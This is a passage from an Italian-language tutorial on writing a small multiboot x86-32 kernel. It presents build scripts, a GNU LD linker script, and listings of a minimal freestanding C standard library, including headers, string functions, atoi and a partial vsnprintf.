s =   elenco_file_asm_senza_estensione
#
all: $(s) $(c)
#
clean:
        @rm *.o 2> /dev/null ; pwd
#
$(s):
        @echo $@.s
        @as -o $@.o $@.s
#
$(c):
        @echo $@.c
        @gcc -Wall -Werror -o $@.o -c $@.c ↩
↪
              -nostdinc -nostdlib -nostartfiles -nodefaultlibs ↩
↪
              -I../include -I../../include -I../../../include
```

Il «collegamento» (*link*) dei file avviene attraverso un comando contenuto nello script '**`makeit`**', dove si fa in modo di mettere all'inizio il file-oggetto che è responsabile dell'avvio, dal momento che contiene l'impronta di riconoscimento per il sistema di avvio aderente alle specifiche *multiboot*.

Nella directory di lavoro descritta nella sezione precedente, conviene mettere uno script che richiami a sua volta '**`makeit`**' e che provveda a copiare il file del kernel nel file-immagine del dischetto:

Listato u10.9. './compile'

```
#!/bin/sh
cd 05
./makeit clean
./makeit
cd ..
```

Script di collegamento

Sempre all'interno della directory '05/' va predisposto lo script usato da GNU LD per eseguire correttamente il collegamento dei file oggetto in un file eseguibile unico. Dal momento che nel progetto che si intraprende si intende usare la memoria linearmente, si intende che il blocco minimo sia della dimensione di un registro, ovvero pari a 4 byte:

Listato u10.10. './05/linker.ld'

```
/***********************************************************************
 * La memoria viene usata in modo lineare, senza controlli dei
 * privilegi, così non si usano nemmeno gli allineamenti tradizionali
 * di 4096 byte, ma solo di 4 byte, ovvero di un registro.
 ***********************************************************************/

ENTRY (kernel_boot)
SECTIONS {
    . = 0x00100000;
    k_mem_total_s = .;
    .text : {
        k_mem_text_s = .;
        *(.text)
        . = ALIGN (0x4);
        k_mem_text_e = .;
    }
    .rodata : {
        k_mem_rodata_s = .;
        *(.rodata)
        . = ALIGN (0x4);
        k_mem_rodata_e = .;
    }
    .data : {
        k_mem_data_s = .;
        *(.data)
        . = ALIGN (0x4);
        k_mem_data_e = .;
    }
    .bss : {
        k_mem_bss_s = .;
        *(.bss)
        *(COMMON)
        . = ALIGN (0x4);
```

```
        k_mem_bss_e = .;
    }
    k_mem_total_e = .;
}
```

Il codice contenuto nel file del kernel che si va a produrre, deve iniziare a partire da 00100000_{16}, ovvero da 1 Mibyte, come prescrive il sistema di avvio *multiboot*, il quale va a collocarlo in memoria, a partire da quella posizione. Inoltre, per consentire di individuare i blocchi di memoria utilizzati, vengono inseriti dei simboli; per esempio, '**`k_mem_total_s`**' individua l'inizio del kernel, mentre '**`k_mem_total_e`**' ne individua la fine.

Si dà per scontato che GNU AS predisponga un file eseguibile in formato ELF.

Altre directory

All'interno di '`05/`' si creano ancora: '`lib/`', per la libreria standard e altre librerie specifiche del sistema; '`include/`', per i file di intestazione della libreria; '`kernel/`' con i file iniziali usati dal kernel; '`app/`' per le applicazioni (ovvero le funzioni avviate dal kernel quando tutto è pronto).

Libreria standard per iniziare

Quando si scrive un programma da utilizzare senza l'ausilio del sistema operativo, è necessario realizzare una propria libreria di funzioni C, perché quella che offre il proprio compilatore, è fatta sicuramente per interagire con il sistema operativo che la ospita. Nelle sezioni successive vengono mostrati i file usati nel sistema in corso di presentazione, per una libreria C standard generalizzata.

Va però osservato che possono essere gestiti solo interi con un massimo di 32 bit. Infatti, il compilatore GNU C consentirebbe anche di gestire interi a 64 bit, corrispondenti al tipo '**`long long`**', ma per questo si avvale di funzioni di libreria non standard che, però, qui non sono state realizzate.

Libreria «limits.h»

Il file '`limits.h`' dimostra quanto appena accennato a proposito della limitazione nella gestione dei numeri interi. Contrariamente a quanto si fa di solito, i valori sono scritti in esadecimale.

Listato u10.11. '`./05/include/limits.h`'

```
#ifndef _LIMITS_H
#define _LIMITS_H       1

#define CHAR_BIT            (8)
#define SCHAR_MIN       (-0x80)
#define SCHAR_MAX        (0x7F)
#define UCHAR_MAX        (0xFF)
#define CHAR_MIN     SCHAR_MIN
```

```
#define CHAR_MAX      SCHAR_MAX
#define MB_LEN_MAX          (16)
#define SHRT_MIN       (-0x8000)
#define SHRT_MAX        (0x7FFF)
#define USHRT_MAX       (0xFFFF)
#define INT_MIN    (-0x80000000)
#define INT_MAX     (0x7FFFFFFF)
#define UINT_MAX    (0xFFFFFFFFU)
#define LONG_MIN   (-0x80000000L)
#define LONG_MAX    (0x7FFFFFFFL)
#define ULONG_MAX   (0xFFFFFFFFUL)

#endif
```

File isolati per dichiarazioni riprese in più librerie

Secondo lo standard, più file di libreria dichiarano gli stessi tipi speciali e le stesse costanti. Per evitare confusione, la dichiarazione di queste costanti e di questi tipi condivisi, viene collocata in file isolati che, successivamente, altri file incorporano a seconda della necessità. Inoltre, il compilatore usato per la costruzione di questo sistema non gestisce i «puntatori ristretti», ovvero non considera valida la parola chiave '**restrict**'. Per mantenere una forma aderente allo standard si aggiunge la dichiarazione della macro-variabile ***restrict*** vuota, in un file separato che molti altri file incorporano.

Listato u10.12. '`./05/include/restrict.h`'

```
#ifndef _RESTRICT_H
#define _RESTRICT_H      1

#define restrict

#endif
```

Listato u10.13. '`./05/include/NULL.h`'

```
#ifndef _NULL_H
#define _NULL_H      1

#define NULL 0

#endif
```

Listato u10.14. '`./05/include/ptrdiff_t.h`'

```
#ifndef _PTRDIFF_T_H
#define _PTRDIFF_T_H    1

typedef long int ptrdiff_t;

#endif
```

Listato u10.15. './05/include/size_t.h'

```
#ifndef _SIZE_T_H
#define _SIZE_T_H       1

typedef unsigned long int size_t;

#endif
```

Listato u10.16. './05/include/wchar_t.h'

```
#ifndef _WCHAR_T_H
#define _WCHAR_T_H      1

typedef unsigned char wchar_t;

#endif
```

Dal file 'wchar_t.h' si comprende che, per il sistema in corso di realizzazione, si intende gestire al massimo la codifica ASCII e nulla di più.

Libreria «stdbool.h»

Listato u10.17. './05/include/stdbool.h'

```
#ifndef _STDBOOL_H
#define _STDBOOL_H      1

#define bool    _Bool
#define true    1
#define false   0
#define __bool_true_false_are_defined   1

#endif
```

Libreria «time.h»

Listato u10.18. './05/include/time.h'

```
#ifndef _TIME_H
#define _TIME_H       1

#include <restrict.h>
#include <size_t.h>
#include <NULL.h>

#define CLOCKS_PER_SEC  100L
typedef long int clock_t;
typedef long int time_t;

struct tm {int tm_sec;  int tm_min;  int tm_hour;
```

```
            int tm_mday; int tm_mon;  int tm_year;
            int tm_wday; int tm_yday; int tm_isdst;};

clock_t     clock      (void);
time_t      time       (time_t *timer);
double      difftime   (time_t time1, time_t time0);
time_t      mktime     (struct tm *timeptr);
struct tm *gmtime     (const time_t *timer);
struct tm *localtime (const time_t *timer);
char       *asctime    (const struct tm *timeptr);
char       *ctime      (const time_t *timer);
size_t     strftime    (char * restrict s, size_t maxsize,
                        const char * restrict format,
                        const struct tm * restrict timeptr);

#define ctime(t) (asctime (localtime (t)));

#endif
```

Del file '`time.h`' viene usato solo il tipo '**`clock_t`**' e la macro-variabile ***CLOCKS_PER_SEC***, con la quale si dichiara implicitamente la frequenza con cui deve reagire il temporizzatore interno del realizzando sistema. Pertanto, le funzioni del file di cui si vedono i prototipi, non vengono realizzate.

Libreria «ctype.h»

Listato u10.19. '`./05/include/ctype.h`'

```
#ifndef _CTYPE_H
#define _CTYPE_H       1

#include <NULL.h>

#define isblank(C)  ((int) (C == ' ' || C == '\t'))
#define isspace(C)  ((int) (C == ' ' \
                        || C == '\f' \
                        || C == '\n' \
                        || C == '\n' \
                        || C == '\r' \
                        || C == '\t' \
                        || C == '\v'))
#define isdigit(C)  ((int) (C >= '0' && C <= '9'))
#define isxdigit(C) ((int) ((C >= '0' && C <= '9') \
                         || (C >= 'A' && C <= 'F') \
                         || (C >= 'a' && C <= 'f')))
#define isupper(C)  ((int) (C >= 'A' && C <= 'Z'))
#define islower(C)  ((int) (C >= 'a' && C <= 'z'))
#define iscntrl(C)  ((int) ((C >= 0x00 && C <= 0x1F) || C == 0x7F))
```

```
#define isgraph(C)   ((int) (C >= 0x21 && C <= 0x7E))
#define isprint(C)   ((int) (C >= 0x20 && C <= 0x7E))
#define isalpha(C)   (isupper (C) || islower (C))
#define isalnum(C)   (isalpha (C) || isdigit (C))
#define ispunct(C)   (isgraph (C) && (!isspace (C)) && (!isalnum (C)))

#endif
```

Libreria «stdint.h»

Listato u10.20. '`./05/include/stdint.h`'

```
#ifndef _STDINT_H
#define _STDINT_H       1

typedef signed char                  int8_t;
typedef short int                   int16_t;
typedef int                         int32_t;       // x86-32
typedef unsigned char               uint8_t;
typedef unsigned short int         uint16_t;
typedef unsigned int               uint32_t;       // x86-32

#define INT8_MIN                      (-0x80)
#define INT8_MAX                       (0x7F)
#define UINT8_MAX                      (0xFF)
#define INT16_MIN                   (-0x8000)
#define INT16_MAX                    (0x7FFF)
#define UINT16_MAX                   (0xFFFF)
#define INT32_MIN               (-0x80000000)
#define INT32_MAX                (0x7FFFFFFF)
#define UINT32_MAX               (0xFFFFFFFFU)

typedef signed char            int_least8_t;
typedef short int             int_least16_t;
typedef int                   int_least32_t;
typedef unsigned char         uint_least8_t;
typedef unsigned short int   uint_least16_t;
typedef unsigned int         uint_least32_t;

#define INT_LEAST8_MIN                (-0x80)
#define INT_LEAST8_MAX                 (0x7F)
#define UINT_LEAST8_MAX                (0xFF)
#define INT_LEAST16_MIN             (-0x8000)
#define INT_LEAST16_MAX              (0x7FFF)
#define UINT_LEAST16_MAX             (0xFFFF)
#define INT_LEAST32_MIN         (-0x80000000)
#define INT_LEAST32_MAX          (0x7FFFFFFF)
```

```
#define UINT_LEAST32_MAX        (0xFFFFFFFFU)

#define INT8_C(VAL)     VAL
#define INT16_C(VAL)    VAL
#define INT32_C(VAL)    VAL
#define UINT8_C(VAL)    VAL
#define UINT16_C(VAL)   VAL
#define UINT32_C(VAL)   VAL ## U

typedef signed char             int_fast8_t;
typedef int                    int_fast16_t;
typedef int                    int_fast32_t;
typedef unsigned char          uint_fast8_t;
typedef unsigned int          uint_fast16_t;
typedef unsigned int          uint_fast32_t;

#define INT_FAST8_MIN                (-0x80)
#define INT_FAST8_MAX                 (0x7F)
#define UINT_FAST8_MAX                (0xFF)
#define INT_FAST16_MIN          (-0x80000000)
#define INT_FAST16_MAX           (0x7FFFFFFF)
#define UINT_FAST16_MAX          (0xFFFFFFFFU)
#define INT_FAST32_MIN          (-0x80000000)
#define INT_FAST32_MAX           (0x7FFFFFFF)
#define UINT_FAST32_MAX          (0xFFFFFFFFU)

typedef int                        intptr_t;
typedef unsigned int              uintptr_t;

#define INTPTR_MIN              (-0x80000000)
#define INTPTR_MAX              (0x7FFFFFFF)
#define UINTPTR_MAX             (0xFFFFFFFFU)

typedef long int                  intmax_t;
typedef unsigned long int        uintmax_t;

#define INTMAX_C(VAL)   VAL ## L
#define UINTMAX_C(VAL)  VAL ## UL

#define INTMAX_MIN             (-0x80000000L)
#define INTMAX_MAX              (0x7FFFFFFFL)
#define UINTMAX_MAX             (0xFFFFFFFFUL)

#define PTRDIFF_MIN            (-0x80000000)
#define PTRDIFF_MAX             (0x7FFFFFFF)

#define SIG_ATOMIC_MIN         (-0x80000000)
```

```
#define SIG_ATOMIC_MAX          (0x7FFFFFFF)

#define SIZE_MAX                (0xFFFFFFFFU)

#define WCHAR_MIN                        (0)
#define WCHAR_MAX                    (0xFFFFU)

#define WINT_MIN                    (-0x8000L)
#define WINT_MAX                     (0x7FFFL)

#endif
```

Libreria «inttypes.h»

Listato u10.21. './05/include/inttypes.h'

```
#ifndef _INTTYPES_H
#define _INTTYPES_H     1

#include <restrict.h>
#include <stdint.h>
#include <wchar_t.h>

typedef struct {intmax_t quot; intmax_t rem;} imaxdiv_t;

#define PRId8           "d"
#define PRId16          "d"
#define PRId32          "d"
#define PRId64          "lld"
#define PRIdLEAST8      "d"
#define PRIdLEAST16     "d"
#define PRIdLEAST32     "d"
#define PRIdLEAST64     "lld"
#define PRIdFAST8       "d"
#define PRIdFAST16      "d"
#define PRIdFAST32      "d"
#define PRIdFAST64      "lld"
#define PRIdMAX         "lld"
#define PRIdPTR         "d"
#define PRIi8           "i"
#define PRIi16          "i"
#define PRIi32          "i"
#define PRIi64          "lli"
#define PRIiLEAST8      "i"
#define PRIiLEAST16     "i"
#define PRIiLEAST32     "i"
#define PRIiLEAST64     "lli"
#define PRIiFAST8       "i"
#define PRIiFAST16      "i"
#define PRIiFAST32      "i"
```

```
#define PRIiFAST64       "lli"
#define PRIiMAX          "lli"
#define PRIiPTR          "i"
#define PRIb8            "b"     // PRIb... non è standard
#define PRIb16           "b"     //
#define PRIb32           "b"     //
#define PRIb64           "llb"   //
#define PRIbLEAST8       "b"     //
#define PRIbLEAST16      "b"     //
#define PRIbLEAST32      "b"     //
#define PRIbLEAST64      "llb"   //
#define PRIbFAST8        "b"     //
#define PRIbFAST16       "b"     //
#define PRIbFAST32       "b"     //
#define PRIbFAST64       "llb"   //
#define PRIbMAX          "llb"   //
#define PRIbPTR          "b"     //
#define PRIo8            "o"
#define PRIo16           "o"
#define PRIo32           "o"
#define PRIo64           "llo"
#define PRIoLEAST8       "o"
#define PRIoLEAST16      "o"
#define PRIoLEAST32      "o"
#define PRIoLEAST64      "llo"
#define PRIoFAST8        "o"
#define PRIoFAST16       "o"
#define PRIoFAST32       "o"
#define PRIoFAST64       "llo"
#define PRIoMAX          "llo"
#define PRIoPTR          "o"
#define PRIu8            "u"
#define PRIu16           "u"
#define PRIu32           "u"
#define PRIu64           "llu"
#define PRIuLEAST8       "u"
#define PRIuLEAST16      "u"
#define PRIuLEAST32      "u"
#define PRIuLEAST64      "llu"
#define PRIuFAST8        "u"
#define PRIuFAST16       "u"
#define PRIuFAST32       "u"
#define PRIuFAST64       "llu"
#define PRIuMAX          "llu"
#define PRIuPTR          "u"
#define PRIx8            "x"
#define PRIx16           "x"
#define PRIx32           "x"
#define PRIx64           "llx"
#define PRIxLEAST8       "x"
#define PRIxLEAST16      "x"
#define PRIxLEAST32      "x"
#define PRIxLEAST64      "llx"
```

```
#define PRIxFAST8        "x"
#define PRIxFAST16       "x"
#define PRIxFAST32       "x"
#define PRIxFAST64       "llx"
#define PRIxMAX          "llx"
#define PRIxPTR          "x"
#define PRIX8            "X"
#define PRIX16           "X"
#define PRIX32           "X"
#define PRIX64           "llX"
#define PRIXLEAST8       "X"
#define PRIXLEAST16      "X"
#define PRIXLEAST32      "X"
#define PRIXLEAST64      "llX"
#define PRIXFAST8        "X"
#define PRIXFAST16       "X"
#define PRIXFAST32       "X"
#define PRIXFAST64       "llX"
#define PRIXMAX          "llX"
#define PRIXPTR          "X"

#define SCNd8            "hhd"
#define SCNd16           "hd"
#define SCNd32           "d"
#define SCNd64           "lld"
#define SCNdLEAST8       "hhd"
#define SCNdLEAST16      "hd"
#define SCNdLEAST32      "d"
#define SCNdLEAST64      "lld"
#define SCNdFAST8        "hhd"
#define SCNdFAST16       "d"
#define SCNdFAST32       "d"
#define SCNdFAST64       "lld"
#define SCNdMAX          "lld"
#define SCNdPTR          "d"
#define SCNi8            "hhi"
#define SCNi16           "hi"
#define SCNi32           "i"
#define SCNi64           "lli"
#define SCNiLEAST8       "hhi"
#define SCNiLEAST16      "hi"
#define SCNiLEAST32      "i"
#define SCNiLEAST64      "lli"
#define SCNiFAST8        "hhi"
#define SCNiFAST16       "i"
#define SCNiFAST32       "i"
#define SCNiFAST64       "lli"
#define SCNiMAX          "lli"
#define SCNiPTR          "i"
#define SCNb8            "hhb"   // SCNb... non è standard
#define SCNb16           "hb"    //
#define SCNb32           "b"     //
#define SCNb64           "llb"   //
```

```
#define SCNbLEAST8      "hhb"   //
#define SCNbLEAST16     "hb"    //
#define SCNbLEAST32     "b"     //
#define SCNbLEAST64     "llb"   //
#define SCNbFAST8       "hhb"   //
#define SCNbFAST16      "b"     //
#define SCNbFAST32      "b"     //
#define SCNbFAST64      "llb"   //
#define SCNbMAX         "llb"   //
#define SCNbPTR         "b"     //
#define SCNo8           "hho"
#define SCNo16          "ho"
#define SCNo32          "o"
#define SCNo64          "llo"
#define SCNoLEAST8      "hho"
#define SCNoLEAST16     "ho"
#define SCNoLEAST32     "o"
#define SCNoLEAST64     "llo"
#define SCNoFAST8       "hho"
#define SCNoFAST16      "o"
#define SCNoFAST32      "o"
#define SCNoFAST64      "llo"
#define SCNoMAX         "llo"
#define SCNoPTR         "o"
#define SCNu8           "hhu"
#define SCNu16          "hu"
#define SCNu32          "u"
#define SCNu64          "llu"
#define SCNuLEAST8      "hhu"
#define SCNuLEAST16     "hu"
#define SCNuLEAST32     "u"
#define SCNuLEAST64     "llu"
#define SCNuFAST8       "hhu"
#define SCNuFAST16      "u"
#define SCNuFAST32      "u"
#define SCNuFAST64      "llu"
#define SCNuMAX         "llu"
#define SCNuPTR         "u"
#define SCNx8           "hhx"
#define SCNx16          "hx"
#define SCNx32          "x"
#define SCNx64          "llx"
#define SCNxLEAST8      "hhx"
#define SCNxLEAST16     "hx"
#define SCNxLEAST32     "x"
#define SCNxLEAST64     "llx"
#define SCNxFAST8       "hhx"
#define SCNxFAST16      "x"
#define SCNxFAST32      "x"
#define SCNxFAST64      "llx"
#define SCNxMAX         "llx"
#define SCNxPTR         "x"
```

```
imaxdiv_t imaxdiv    (intmax_t numer, intmax_t denom);
intmax_t  strtoimax  (const char *restrict nptr, char **restrict endptr,
                      int base);
uintmax_t strtouimax (const char *restrict nptr, char **restrict endptr,
                      int base);
intmax_t  wcstoimax  (const wchar_t *restrict nptr, wchar_t **restrict endptr,
                      int base);
uintmax_t wcstouimax (const wchar_t *restrict nptr, wchar_t **restrict endptr,
                      int base);
#endif
```

La libreria '`inttypes.h`' serve per le macro-variabili del tipo '**`PRI`*xn***', in modo da utilizzare correttamente la funzione ***printf()***, mentre si fa riferimento a tipi di valori numerici definiti nel file '`stdint.h`'. Pertanto, le funzioni non vengono realizzate.

Libreria «stdarg.h»

Listato u10.22. '`./05/include/stdarg.h`'

```
#ifndef _STDARG_H
#define _STDARG_H       1

typedef unsigned char *va_list;

#define va_start(ap, last) ((void) ((ap) = \
                            ((va_list) &(last)) + (sizeof (last))))
#define va_end(ap)          ((void) ((ap) = 0))
#define va_copy(dest, src)  ((void) ((dest) = (va_list) (src)))
#define va_arg(ap, type)    (((ap) = (ap) + (sizeof (type))), \
                            *((type *) ((ap) - (sizeof (type)))))
#endif
```

Libreria «stddef.h»

Listato u10.23. '`./05/include/stddef.h`'

```
#ifndef _STDDEF_H
#define _STDDEF_H      1

#include <ptrdiff_t.h>
#include <size_t.h>
#include <wchar_t.h>
#include <NULL.h>

#define offsetof(type, member)  ((size_t) &((type *)0)->member)

#endif
```

Libreria «stdlib.h»

Listato u10.24. ‘./05/include/stdlib.h’

```
#ifndef _STDLIB_H
#define _STDLIB_H       1

#include <size_t.h>
#include <wchar_t.h>
#include <NULL.h>
#include <limits.h>
#include <restrict.h>

typedef struct {int quot; int rem;} div_t;
typedef struct {long int quot; long int rem;} ldiv_t;
typedef struct {long long int quot; long long int rem;} lldiv_t;

#define EXIT_FAILURE    1
#define EXIT_SUCCESS    0
#define RAND_MAX        INT_MAX
#define MB_CUR_MAX      ((size_t) MB_LEN_MAX)

int            atoi  (const char *nptr);
long int       atol  (const char *nptr);
long long int  atoll (const char *nptr);
double         atof  (const char *nptr);

float                  strtof   (const char * restrict nptr,
                                 char ** restrict endptr);
double                 strtod   (const char * restrict nptr,
                                 char ** restrict endptr);
long double            strtold  (const char * restrict nptr,
                                 char ** restrict endptr);
long int               strtol   (const char * restrict nptr,
                                 char ** restrict endptr, int base);
long long int          strtoll  (const char * restrict nptr,
                                 char ** restrict endptr, int base);
unsigned long int      strtoul  (const char * restrict nptr,
                                 char ** restrict endptr, int base);
unsigned long long int strtoull (const char * restrict nptr,
                                 char ** restrict endptr, int base);

int   rand    (void);
void  srand   (unsigned int seed);

void *malloc  (size_t size);
void *realloc (void *ptr, size_t size);
void  free    (void *ptr);
#define calloc(nmemb, size) (malloc ((nmemb) * (size)))

int   atexit  (void (*func) (void));
```

```
void  exit     (int status);
void  _Exit    (int status);
void  abort    (void);

char *getenv  (const char *name);
int   system  (const char *string);

void  qsort    (void *base,
               size_t nmemb,
               size_t size,
               int (*compar) (const void *, const void *));
void *bsearch (const void *key,
               const void *base,
               size_t nmemb,
               size_t size,
               int (*compar) (const void *, const void *));

int abs             (int j);
long int labs       (long int j);
long long int llabs (long long int j);

div_t   div   (int numer, int denom);
ldiv_t  ldiv  (long int numer, long int denom);
lldiv_t lldiv (long long int numer, long long int denom);

int    mblen    (const char *s, size_t n);
int    mbtowc   (wchar_t *restrict pwc, const char *restrict s, size_t n);
int    wctomb   (char *s, wchar_t wc);
size_t mbstowcs (wchar_t *restrict pwcs, const char *restrict s, size_t n);
size_t wcstombs (char *restrict s, const wchar_t *restrict pwcs, size_t n);

#endif
```

Di questa libreria vengono realizzate solo alcune funzioni, ma in particolare, ***_Exit()***, ***malloc()***, ***realloc()*** e ***free()***, dipendono strettamente dal contesto del sistema; pertanto vengono mostrate a parte, in un'altra sezione più specifica.

Listato u10.25. '`./05/lib/atoi.c`'

```
#include <stdlib.h>
#include <ctype.h>
int
atoi (const char *nptr)
{
    int i;
    int sign = +1;
    int n;

    for (i = 0; isspace (nptr[i]); i++)
      {
```

```
        ;       // Si limita a saltare gli spazi iniziali.
      }

    if (nptr[i] == '+')
      {
        sign = +1;
        i++;
      }
    else if (nptr[i] == '-')
      {
        sign = -1;
        i++;
      }

    for (n = 0; isdigit (nptr[i]); i++)
      {
        n = (n * 10) + (nptr[i] - '0');         // Accumula il valore.
      }

    return sign * n;
}
```

Libreria «string.h»

Listato u10.26. '`./05/include/string.h`'

```
#ifndef _STRING_H
#define _STRING_H       1

#include <restrict.h>
#include <size_t.h>
#include <NULL.h>

void *memcpy  (void *restrict dst, const void *restrict org, size_t n);
void *memmove (void *dst, const void *org, size_t n);

char *strcpy  (char *restrict dst, const char *restrict org);
char *strncpy (char *restrict dst, const char *restrict org, size_t n);
char *strcat  (char *restrict dst, const char *restrict org);
char *strncat (char *restrict dst, const char *restrict org, size_t n);

int    memcmp  (const void *s1, const void *s2, size_t n);
int    strcmp  (const char *s1, const char *s2);
int    strcoll (const char *s1, const char *s2);
int    strncmp (const char *s1, const char *s2, size_t n);
size_t strxfrm (char *restrict dst, const char *restrict org, size_t n);
```

```
void   *memchr  (const void *s, int c, size_t n);
char   *strchr  (const char *s, int c);
char   *strrchr (const char *s, int c);
size_t strspn   (const char *s, const char *accept);
size_t strcspn  (const char *s, const char *reject);
char   *strpbrk (const char *s, const char *accept);
char   *strstr  (const char *string, const char *substring);
char   *strtok  (char *restrict string, const char *restrict delim);

void   *memset   (void *s, int c, size_t n);
char   *strerror (int errnum);
size_t strlen    (const char *s);

#endif
```

Delle funzioni dichiarate nel file '`string.h`' vengono realizzate solo quelle dei listati successivi.

Listato u10.27. '`./05/lib/memset.c`'

```
#include <string.h>
void
*memset (void *s, int c, size_t n)
{
    unsigned char *a = (unsigned char *) s;
    unsigned char x  = (unsigned char) c;
    size_t i;
    for (i = 0; n > 0 && i < n; i++)
      {
        a[i] = x;
      }
    return s;
}
```

Listato u10.28. '`./05/lib/strncpy.c`'

```
#include <string.h>
char
*strncpy (char *restrict dst, const char *restrict org, size_t n)
{
    size_t i;
    for (i = 0; n > 0 && i < n && org[i] != 0; i++)
      {
        dst[i] = org[i];
      }
    for ( ; n > 0 && i < n; i++)
      {
        dst[i] = 0;
```

```
      }
    return dst;
}
```

Listato u10.29. './05/lib/memcpy.c'

```
#include <string.h>
void *
memcpy (void *restrict dst, const void *restrict org, size_t n)
{
    unsigned char *d = (unsigned char *) dst;
    unsigned char *o = (unsigned char *) org;
    size_t i;
    for (i = 0; n > 0 && i < n; i++)
      {
        d[i] = o[i];
      }
    return dst;
}
```

Libreria «stdio.h»

La libreria che è rappresentata dal file 'stdio.h' è la più noiosa di questo gruppo iniziale. Qui viene mostrato un file incompleto, contenente solo ciò che serve al sistema in corso di realizzazione.

Listato u10.30. './05/include/stdio.h'

```
#ifndef _STDIO_H
#define _STDIO_H        1

#include <restrict.h>
#include <size_t.h>
#include <stdarg.h>
#include <stdint.h>
#include <kernel/vga.h>

int vsnprintf (char *restrict s, size_t n,
               const char *restrict format, va_list arg);
int snprintf  (char *restrict s, size_t n,
               const char *restrict format, ...);

#define vsnprintf(s, n, format, arg) (vsnprintf (s, n, format, arg))
#define vsprintf(s, format, arg)     (vsnprintf (s, SIZE_MAX, format, arg))
#define sprintf(s, ...)              (snprintf (s, SIZE_MAX, __VA_ARGS__))

#define vprintf(format, arg)         (vga_vprintf (format, arg))
#define printf(...)                  (vga_printf (__VA_ARGS__))
#define puts(s)                      (vga_puts (s, SIZE_MAX) ; \
```

```
                                        vga_puts ("\n", 2))
#define putchar(c)                     (vga_putc (c), c)

char *gets (char *s);

// Il resto del file «stdio.h» standard viene omesso.
#endif
```

Le uniche funzioni che si possono realizzare in modo generalizzato sono ***vsnprintf()*** e ***snprintf()***; tuttavia, la realizzazione che viene mostrata è incompleta, in quanto si consente solo la visualizzazione di numeri interi e stringhe. Nel listato successivo, relativo a '`vsnprintf.c`', si vedono diverse funzioni dichiarate in modo «statico», dato che servono esclusivamente a ***vsnprintf()***.

Listato u10.31. '`./05/lib/vsnprintf.c`'

```
#include <stdint.h>
#include <stdbool.h>
#include <stdlib.h>
#include <string.h>
#include <stdio.h>
//
// Converte un intero senza segno di rango massimo in una stringa.
//
static size_t
uimaxtoa (uintmax_t integer, char *buffer, int base, int uppercase, size_t n)
{
        uintmax_t  integer_copy = integer;
           size_t  digits;
              int  b;
    unsigned char  remainder;

    for (digits = 0; integer_copy > 0; digits++)
      {
        integer_copy = integer_copy / base;
      }

    if (buffer == NULL && integer == 0) return 1;
    if (buffer == NULL && integer > 0)  return digits;

    if (integer == 0)
      {
        buffer[0] = '0';
        buffer[1] = '\0';
        return 1;
      }

    if (n > 0 && digits > n) digits = n;  // Sistema il numero massimo
                                          // di cifre.

    *(buffer + digits) = '\0';            // Fine della stringa.
```

```
    for (b = digits - 1; integer != 0 && b >= 0; b--)
      {
        remainder = integer % base;
        integer   = integer / base;

        if (remainder <= 9)
          {
            *(buffer + b) = remainder + '0';
          }
        else
          {
            if (uppercase)
              {
                *(buffer + b) = remainder - 10 + 'A';
              }
            else
              {
                *(buffer + b) = remainder - 10 + 'a';
              }
          }
      }
    return digits;
}
//
// Converte un intero con segno di rango massimo in una stringa.
//
static size_t
imaxtoa (intmax_t integer, char *buffer, int base, int uppercase, size_t n)
{

    if (integer >= 0)
      {
        return uimaxtoa (integer, buffer, base, uppercase, n);
      }
    //
    // A questo punto c'è un valore negativo, inferiore a zero.
    //
    if (buffer == NULL)
      {
        return uimaxtoa (-integer, NULL, base, uppercase, n) + 1;
      }

    *buffer = '-';              // Serve il segno meno all'inizio.
    if (n == 1)
      {
        *(buffer + 1) = '\0';
        return 1;
      }
    else
      {
        return uimaxtoa (-integer, buffer+1, base, uppercase, n-1) + 1;
      }
}
```

```
//
// Converte un intero con segno di rango massimo in una stringa,
// mettendo il segno anche se è positivo.
//
static size_t
simaxtoa (intmax_t integer, char *buffer, int base, int uppercase, size_t n)
{

    if (buffer == NULL && integer >= 0)
      {
        return uimaxtoa (integer, NULL, base, uppercase, n) + 1;
      }

    if (buffer == NULL && integer < 0)
      {
        return uimaxtoa (-integer, NULL, base, uppercase, n) + 1;
      }
    //
    // A questo punto «buffer» è diverso da NULL.
    //
    if (integer >= 0)
      {
        *buffer = '+';
      }
    else
      {
        *buffer = '-';
      }

    if (n == 1)
      {
        *(buffer + 1) = '\0';
        return 1;
      }

    if (integer >= 0)
      {
        return uimaxtoa (integer, buffer+1, base, uppercase, n-1) + 1;
      }
    else
      {
        return uimaxtoa (-integer, buffer+1, base, uppercase, n-1) + 1;
      }
}
//
// Converte un intero senza segno di rango massimo in una stringa,
// provvedendo a sistemare anche l'allineamento.
//
static size_t
uimaxtoa_fill (uintmax_t integer, char *buffer, int base,
               int uppercase, int width, int filler, int max)
{
    if (max < 0) return 0; // «max» deve essere un valore positivo.
```

```
    size_t size_i = uimaxtoa (integer, NULL, base, uppercase, 0);
    size_t size_f;

    if (width > 0 &&  max > 0 && width >  max) width =  max;
    if (width < 0 && -max < 0 && width < -max) width = -max;

    if (size_i > abs (width))
      {
        return uimaxtoa (integer, buffer, base, uppercase, abs (width));
      }

    if (width == 0 && max > 0)
      {
        return uimaxtoa (integer, buffer, base, uppercase, max);
      }

    if (width == 0)
      {
        return uimaxtoa (integer, buffer, base, uppercase, abs (width));
      }
    //
    // size_i <= abs (width).
    //
    size_f = abs (width) - size_i;

    if (width < 0)
      {
        // Allineamento a sinistra.
        uimaxtoa (integer, buffer, base, uppercase, 0);
        memset (buffer + size_i, filler, size_f);
      }
    else
      {
        // Allineamento a destra.
        memset (buffer, filler, size_f);
        uimaxtoa (integer, buffer + size_f, base, uppercase, 0);
      }
    *(buffer + abs (width)) = '\0';

    return abs (width);
}
//
// Converte un intero con segno di rango massimo in una stringa,
// provvedendo a sistemare anche l'allineamento.
//
static size_t
imaxtoa_fill (intmax_t integer, char *buffer, int base,
              int uppercase, int width, int filler, int max)
{
    if (max < 0) return 0; // «max» deve essere un valore positivo.

    size_t size_i = imaxtoa (integer, NULL, base, uppercase, 0);
```

```
    size_t size_f;

    if (width > 0 &&  max > 0 && width >  max) width =  max;
    if (width < 0 && -max < 0 && width < -max) width = -max;

    if (size_i > abs (width))
      {
        return imaxtoa (integer, buffer, base, uppercase, abs (width));
      }

    if (width == 0 && max > 0)
      {
        return imaxtoa (integer, buffer, base, uppercase, max);
      }

    if (width == 0)
      {
        return imaxtoa (integer, buffer, base, uppercase, abs (width));
      }

    // size_i <= abs (width).

    size_f = abs (width) - size_i;

    if (width < 0)
      {
        // Allineamento a sinistra.
        imaxtoa (integer, buffer, base, uppercase, 0);
        memset (buffer + size_i, filler, size_f);
      }
    else
      {
        // Allineamento a destra.
